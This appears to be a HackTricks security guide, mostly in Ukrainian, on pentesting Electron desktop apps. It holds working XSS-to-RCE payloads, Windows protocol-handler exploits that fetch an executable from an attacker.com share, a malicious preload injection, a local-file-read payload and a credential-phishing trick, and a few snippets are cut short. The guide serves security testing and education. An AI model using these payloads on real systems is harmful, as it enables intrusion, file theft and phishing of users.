Electron Desktop Apps
Reading time: 15 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Вступ
Electron поєднує локальний бекенд (з NodeJS) та фронтенд (Chromium), хоча йому бракує деяких механізмів безпеки сучасних браузерів.
Зазвичай ви можете знайти код електронного додатку всередині програми .asar
, щоб отримати код, вам потрібно його витягти:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
У вихідному коді програми Electron, всередині packet.json
, ви можете знайти вказаний файл main.js
, де налаштовуються конфігурації безпеки.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron має 2 типи процесів:
- Головний процес (має повний доступ до NodeJS)
- Процес рендерера (повинен мати обмежений доступ до NodeJS з міркувань безпеки)
Процес рендерера буде вікном браузера, що завантажує файл:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Налаштування renderer process можуть бути сконфігуровані в main process всередині файлу main.js. Деякі з конфігурацій запобігатимуть отриманню RCE або інших вразливостей, якщо налаштування правильно сконфігуровані.
Electron додаток може отримати доступ до пристрою через Node API, хоча його можна налаштувати, щоб запобігти цьому:
nodeIntegration
- за замовчуванням вимкнено. Якщо ввімкнено, дозволяє отримувати доступ до функцій Node з renderer process.contextIsolation
- за замовчуванням увімкнено. Якщо вимкнено, основний і renderer процеси не ізольовані.preload
- за замовчуванням порожній.sandbox
- за замовчуванням вимкнено. Це обмежить дії, які може виконувати NodeJS.- Node Integration в Workers
nodeIntegrationInSubframes
- за замовчуванням вимкнено.- Якщо
nodeIntegration
увімкнено, це дозволить використовувати Node.js APIs на веб-сторінках, які завантажуються в iframes всередині Electron додатку. - Якщо
nodeIntegration
вимкнено, тоді попередні завантаження завантажаться в iframe.
Приклад конфігурації:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Деякі RCE payloads з here:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Захоплення трафіку
Змініть конфігурацію start-main і додайте використання проксі, такого як:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
Якщо ви можете виконати Electron App локально, можливо, ви зможете виконати довільний javascript код. Перевірте, як це зробити в:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Якщо nodeIntegration встановлено на on, JavaScript веб-сторінки може легко використовувати функції Node.js, просто викликавши require()
. Наприклад, спосіб виконати калькулятор на Windows:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
Скрипт, вказаний у цьому налаштуванні, завантажується перед іншими скриптами в рендерері, тому він має необмежений доступ до Node API:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Отже, скрипт може експортувати node-features на сторінки:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Якщо
contextIsolation
увімкнено, це не спрацює
RCE: XSS + contextIsolation
contextIsolation вводить окремі контексти між скриптами веб-сторінки та внутрішнім кодом JavaScript Electron, щоб виконання JavaScript кожного коду не впливало на інший. Це необхідна функція для усунення можливості RCE.
Якщо контексти не ізольовані, зловмисник може:
- Виконати произвольний JavaScript у рендерері (XSS або навігація на зовнішні сайти)
- Перезаписати вбудований метод, який використовується в preload або внутрішньому коді Electron, на власну функцію
- Запустити використання перезаписаної функції
- RCE?
Є 2 місця, де вбудовані методи можуть бути перезаписані: у коді preload або у внутрішньому коді Electron:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Обхід події кліку
Якщо є обмеження, які застосовуються при натисканні на посилання, ви можете обійти їх, зробивши середній клік замість звичайного лівого кліку.
window.addEventListener('click', (e) => {
RCE через shell.openExternal
Для отримання додаткової інформації про ці приклади перегляньте https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 та https://benjamin-altpeter.de/shell-openexternal-dangers/
При розгортанні настільного додатку Electron важливо забезпечити правильні налаштування для nodeIntegration
та contextIsolation
. Встановлено, що віддалене виконання коду на стороні клієнта (RCE), яке націлене на попередні скрипти або рідний код Electron з основного процесу, ефективно запобігається за наявності цих налаштувань.
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують специфічні обробники подій, які є критично важливими для безпеки та функціональності додатку:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Ці слухачі перекриваються настільним додатком для реалізації власної бізнес-логіки. Додаток оцінює, чи слід відкривати навігаційне посилання внутрішньо або в зовнішньому веб-браузері. Це рішення зазвичай приймається через функцію openInternally
. Якщо ця функція повертає false
, це вказує на те, що посилання слід відкривати зовні, використовуючи функцію shell.openExternal
.
Ось спрощений псевдокод:
Найкращі практики безпеки Electron JS радять не приймати ненадійний контент з функцією openExternal
, оскільки це може призвести до RCE через різні протоколи. Операційні системи підтримують різні протоколи, які можуть викликати RCE. Для детальних прикладів та подальшого пояснення цієї теми можна звернутися до цього ресурсу, який містить приклади протоколів Windows, здатних експлуатувати цю вразливість.
У macos функцію openExternal
можна експлуатувати для виконання довільних команд, як у shell.openExternal('file:///System/Applications/Calculator.app')
.
Приклади експлойтів протоколів Windows включають:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + вразливий preload IPC + shell.openExternal
Цю вразливість можна знайти в цьому звіті.
webviewTag є застарілою функцією, яка дозволяє використовувати NodeJS в процесі рендерингу, що слід вимкнути, оскільки це дозволяє завантажувати скрипт у контексті preload, як:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Отже, зловмисник, який зміг завантажити довільну сторінку, міг би використати цей тег для завантаження довільного попереднього скрипту.
Цей попередній скрипт був зловжито використаний для виклику вразливого IPC-сервісу (skype-new-window
), який викликав shell.openExternal
для отримання RCE:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Читання внутрішніх файлів: XSS + contextIsolation
Вимкнення contextIsolation
дозволяє використовувати <webview>
теги, подібно до <iframe>
, для читання та ексфільтрації локальних файлів. Наведено приклад, який демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
Крім того, поділено ще один метод читання внутрішнього файлу, який підкреслює критичну вразливість читання локальних файлів в Electron десктопному додатку. Це передбачає інжекцію скрипта для експлуатації програми та ексфільтрації даних:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Old Chromium
Якщо chromium, що використовується в додатку, є старим і на ньому є відомі вразливості, можливо, ви зможете використати це та отримати RCE через XSS.
Ви можете побачити приклад у цьому writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
Припустимо, ви знайшли XSS, але ви не можете викликати RCE або вкрасти внутрішні файли, ви можете спробувати використати це, щоб вкрасти облікові дані через фішинг.
По-перше, вам потрібно знати, що відбувається, коли ви намагаєтеся відкрити нову URL, перевіряючи JS код на фронтенді:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
Виклик openInternally
вирішить, чи посилання буде відкрито в десктопному вікні, оскільки це посилання, що належить платформі, чи буде воно відкрито в браузері як ресурс третьої сторони.
У випадку, якщо regex, використаний функцією, є вразливим до обходів (наприклад, через неекранування крапок піддоменів), зловмисник може зловживати XSS, щоб відкрити нове вікно, яке буде розташоване в інфраструктурі зловмисника, питавши у користувача про облікові дані:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
Протокол
Як згадано в документації, сторінки, що працюють на file://
, мають односторонній доступ до кожного файлу на вашій машині, що означає, що проблеми XSS можуть бути використані для завантаження довільних файлів з машини користувача. Використання кастомного протоколу запобігає таким проблемам, оскільки ви можете обмежити протокол лише для обслуговування певного набору файлів.
Віддалений модуль
Віддалений модуль Electron дозволяє процесам рендерингу отримувати доступ до API основного процесу, полегшуючи комунікацію в рамках програми Electron. Однак, увімкнення цього модуля вводить значні ризики безпеки. Це розширює поверхню атаки програми, роблячи її більш вразливою до уразливостей, таких як атаки міжсайтового скриптингу (XSS).
tip
Хоча віддалений модуль відкриває деякі API з основного до процесів рендерингу, отримати RCE, просто зловживаючи компонентами, не так просто. Однак компоненти можуть розкривати чутливу інформацію.
warning
Багато програм, які все ще використовують віддалений модуль, роблять це таким чином, що вимагає увімкнення NodeIntegration в процесі рендерингу, що є величезним ризиком безпеки.
З версії Electron 14 модуль remote
може бути увімкнений у кількох етапах, оскільки з міркувань безпеки та продуктивності рекомендується не використовувати його.
Щоб увімкнути його, спочатку потрібно увімкнути його в основному процесі:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Тоді процес рендерингу може імпортувати об'єкти з модуля, як-от:
import { dialog, getCurrentWindow } from '@electron/remote'
блог пост вказує на деякі цікаві функції, які надає об'єкт app
з віддаленого модуля:
app.relaunch([options])
- Перезапускає додаток, виходячи з поточного екземпляра та запускаючи новий. Корисно для оновлень додатка або значних змін стану.
app.setAppLogsPath([path])
- Визначає або створює каталог для зберігання логів додатка. Логи можна отримати або змінити за допомогою
app.getPath()
абоapp.setPath(pathName, newPath)
. app.setAsDefaultProtocolClient(protocol[, path, args])
- Реєструє поточний виконуваний файл як обробник за замовчуванням для вказаного протоколу. Ви можете надати кастомний шлях та аргументи, якщо потрібно.
app.setUserTasks(tasks)
- Додає завдання до категорії Завдань у Jump List (на Windows). Кожне завдання може контролювати, як додаток запускається або які аргументи передаються.
app.importCertificate(options, callback)
- Імпортує сертифікат PKCS#12 у системний магазин сертифікатів (тільки Linux). Callback може бути використаний для обробки результату.
app.moveToApplicationsFolder([options])
- Переміщує додаток до каталогу Додатків (на macOS). Допомагає забезпечити стандартну установку для користувачів Mac.
app.setJumpList(categories)
- Встановлює або видаляє кастомний Jump List на Windows. Ви можете вказати категорії, щоб організувати, як завдання з'являються для користувача.
app.setLoginItemSettings(settings)
- Налаштовує, які виконувані файли запускаються при вході разом з їхніми опціями (тільки macOS і Windows).
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences module
Основний API для доступу до системних налаштувань та емісії системних подій в Electron. Методи, такі як subscribeNotification, subscribeWorkspaceNotification, getUserDefault та setUserDefault є частиною цього модуля.
Приклад використання:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Слухає рідні macOS сповіщення за допомогою NSDistributedNotificationCenter.
- Перед macOS Catalina ви могли перехоплювати всі розподілені сповіщення, передаючи nil до CFNotificationCenterAddObserver.
- Після Catalina / Big Sur пісочничні додатки все ще можуть підписуватися на багато подій (наприклад, блокування/розблокування екрану, монтування дисків, мережеву активність тощо) реєструючи сповіщення за назвою.
getUserDefault / setUserDefault
-
Інтерфейси з NSUserDefaults, який зберігає налаштування програми або глобальні налаштування на macOS.
-
getUserDefault може отримувати чутливу інформацію, таку як останні місця файлів або географічне положення користувача.
-
setUserDefault може змінювати ці налаштування, потенційно впливаючи на конфігурацію програми.
-
У старіших версіях Electron (до v8.3.0) лише стандартний набір NSUserDefaults був доступний.
Shell.showItemInFolder
Ця функція показує вказаний файл у файловому менеджері, що може автоматично виконати файл.
Для отримання додаткової інформації перегляньте https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Додатки Electron повинні мати Політику безпеки контенту (CSP), щоб запобігти атакам XSS. CSP є стандартом безпеки, який допомагає запобігти виконанню недовіреного коду в браузері.
Зазвичай налаштовується у файлі main.js
або в шаблоні index.html
з CSP всередині мета-тегу.
Для отримання додаткової інформації перегляньте:
Content Security Policy (CSP) Bypass
Tools
- Electronegativity - це інструмент для виявлення неправильних налаштувань і антипатернів безпеки в додатках на базі Electron.
- Electrolint - це відкритий плагін VS Code для додатків Electron, який використовує Electronegativity.
- nodejsscan для перевірки вразливих сторонніх бібліотек
- Electro.ng: Вам потрібно його купити
Labs
У https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s ви можете знайти лабораторію для експлуатації вразливих додатків Electron.
Деякі команди, які допоможуть вам у лабораторії:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Посилання
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Більше досліджень та статей про безпеку Electron на https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.